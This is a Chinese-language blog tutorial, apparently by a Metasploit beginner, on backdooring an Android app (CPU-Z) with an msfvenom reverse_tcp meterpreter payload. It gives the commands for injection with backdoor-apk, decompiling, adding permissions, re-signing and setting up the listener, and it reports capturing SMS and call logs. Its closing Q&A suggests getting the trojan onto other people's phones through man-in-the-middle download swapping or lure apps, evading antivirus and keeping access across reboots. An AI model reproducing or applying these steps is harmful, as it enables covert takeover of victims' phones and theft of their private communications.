导语:我们的思路是对一个安卓应用注入msf生成的payload后门,并实现内网范围或是外网范围内的持续控制,这样就会实现后门随正常应用启动,但不易被发现。文中会提供一些思路拓展,如果需要,我可以再展开来讲。
本人刚入msf坑不久,对于Android的渗透比较感兴趣,于是在网上寻找了很久资料,但是发现很多实现方法都会出现各种奇怪报错,于是我花了点时间,在外面的世界找解决方案,总算实现成功,故整理文章,供正在困惑和迷茫中挣扎的小伙伴们互相交流。
下面进入正题:我们的思路是对一个安卓应用注入msf生成的payload后门,并实现内网范围或是外网范围内的持续控制,这样就会实现后门随正常应用启动,但不易被发现。文中会提供一些思路拓展,如果需要,我可以再展开来讲。对于很多萌新来说,过程中往往会遇到很多解决不了的麻烦,我会在文章中尽可能覆盖。
第一步,工具准备:
a) Kali 2017.02(https://www.kali.org/downloads/)
b) backdoor-apk(https://github.com/dana-at-cp/backdoor-apk.git)
c) Apktool(https://ibotpeaches.github.io/Apktool/)
d) 测试Apk:CPU-Z(https://pan.baidu.com/s/1kUHN2YV)
第二步,环境处理:
这一步也是很多小伙伴们最大的问题之一,Kali中自带的Apktool版本较旧,导致关键步骤失败,下面看步骤。
a) 下载最新版Apktool(上文已提供链接),下载成功后将文件名修改为apktool.jar,复制粘贴替换掉kali中的/usr/share/apktool/apktool.jar
b) 下载backdoor-apk:打开终端,输入命令git clone https://github.com/dana-at-cp/backdoor-apk.git,回车。
c) 安装兼容库:终端内输入命令 apt-get install lib32stdc++6 lib32ncurses5 lib32z1,回车。由于我这里已经安装完成,故不再演示。
d) 运行backdoor-apk:终端输入命令cd backdoor-apk/backdoor-apk,回车。
e) 下载CPU-Z,并将其改名为1.apk,移动到/root/backdoor-apk/backdoor-apk目录下(注:与脚本同目录)。
f) 注入payload:终端输入命令./backdoor-apk.sh 1.apk,回车。
g) 打开新终端,输入命令ifconfig查看自己的ip。
h) 回到我们之前的终端,配置payload参数,按照图中的配置,其中IP替换为自己的IP。
i) 此时,payload已经成功注入我们的CPU-Z中,但是很多小伙伴会发现,安装后无法正常使用功能,这时候就需要为其添加权限,首先找到我们生成的CPU-Z,生成在/root/backdoor-apk/backdoor-apk/original/dist目录下。
j) 接下来,使用Apktool反编译此文件。为了方便区分,我们将此apk名修改为2.apk,并移动到root目录下。
k) 下面使用Apktool反编译,打开终端,输入命令apktool d /root/2.apk,回车。
l) 此时我们的apk已经反编译完成,打开目录2下的AndroidManifest.xml,我们会发现此时这个apk所声明的权限很少,并不能实现我们所需要的功能,此时就需要声明更多权限。
m) 此时很多小伙伴就会有疑问:我对android代码一无所知,怎么知道我们的payload需要些什么权限呢?这可难不倒我们,我们可以用msf生成一个原始的payload,反编译这个apk,去查看它声明了哪些权限,复制进来就可以了,下面我们继续操作。
n) 在终端中输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=10.161.94.25 LPORT=4444 -o 3.apk,就可以在root目录下生成一个3.apk的payload,并且按照我们之前k中的步骤反编译。
o) 此时,反编译已经完成,我们来看看payload声明了哪些权限。
p) 好的,我们复制这些代码到我们2目录下的相同位置处并保存,但要注意不能重复声明。
q) 此时我们最关键的声明权限步骤已经完成,接下来要做的就是使用Apktool打包应用,并为其添加签名。终端中输入命令,apktool b /root/,回车,此时应用打包就完成了。新应用会存放在/root/2/dist/2.apk这个位置。为了方便区分,我们将其文件名修改为4.apk,并移动到root目录下。当然,此时的应用还是未签名的,下一步,我们对其进行签名操作。
r) 首先需要生成签名证书KEYSTORE,终端中输入命令keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore android.keystore,回车。
参数说明:
-genkey 生成文件
-alias 别名
-keyalg 加密算法
-validity 有效期
-keystore 文件名
最后一步输入Y确认输入并回车,即可。
s) 这样就生成好了签名证书,接下来我们对apk进行签名。终端中输入命令jarsigner -verbose -keystore android.keystore -signedjar 4_signed.apk 4.apk android.keystore,回车。
参数说明:
4_signed.apk是签名之后的文件
4.apk是需要签名的文件
t) 此时,应用签名已经完成,我们可以进行测试了。将签名后的4_signed.apk安装到手机上。
u) 下一步,打开msf控制台,设置好监听参数后,等待上线。打开终端,输入命令msfconsole,回车。进入msf控制台。
输入命令use exploit/multi/handler,回车。
输入set PAYLOAD android/meterpreter/reverse_tcp,回车。
输入set LHOST 10.161.94.25,回车。
输入set LPORT 4444,回车。
此时,我们的监听参数已经设置完成。
v) 输入exploit,开始监听。
w) 此时打开手机,可以看到我们的应用申请了许多权限。
x) 打开CPU-Z,此时回到kali,msf中已经监听到上线。
y) 输入命令sessions,可以查看设备列表。再次输入sessions 1,即可获得设备控制权。输入sysinfo查看系统信息。
z) 我测试了本机的短信截取和通话记录截取,可行。
在这里粘上一张命令图,这里就复制别人的图了。
第三步,拓展:
看到这里,很多小伙伴就会有许多疑问。我这里给出一些简单的拓展回答,如果需要,可以在评论区和我交流。
Q:如果我在不同内网环境下,怎么上线呢?
A:有很多解决办法,这里提供两种思路。1.使用vps转发来达到上线目的。2.使用Ngrok等工具做内网穿透。
Q:怎样把后门程序安装到别人的手机上呢?
A:这里就有无数种思路了,比如可以做中间人欺骗,来替换下载的程序绑马,或者是将后门添加到其他人比较感兴趣的应用中去。
Q:为什么我换了其他的应用,使用backdoor-apk,最后一步就报错呢?
A:很多应用做了处理,防止一般的反编译,可以采取手动注入手段或者使用其他如spade等达到目的。其中手动注入要有一点点难度,但也很简单,只要理解了就好办。
Q:这个后门软件会被杀毒软件报毒么?
A:本人做了测试,是报安全的。但不排除特定的杀毒软件查到特征,可以自己做混淆免杀处理,很多种方法逃避查杀,在这里不展开讲了。
Q:如果重启以后掉线,或是一段时间自动掉线了怎么解决呢?
A:这里提供两种思路。1.找开机自启的应用来保证每次开机都会启动。2.自写守护脚本,用shell运行。
对以上内容有感兴趣的小伙伴,欢迎在评论区提问,或是发消息给我,我会尽我所能为其解答。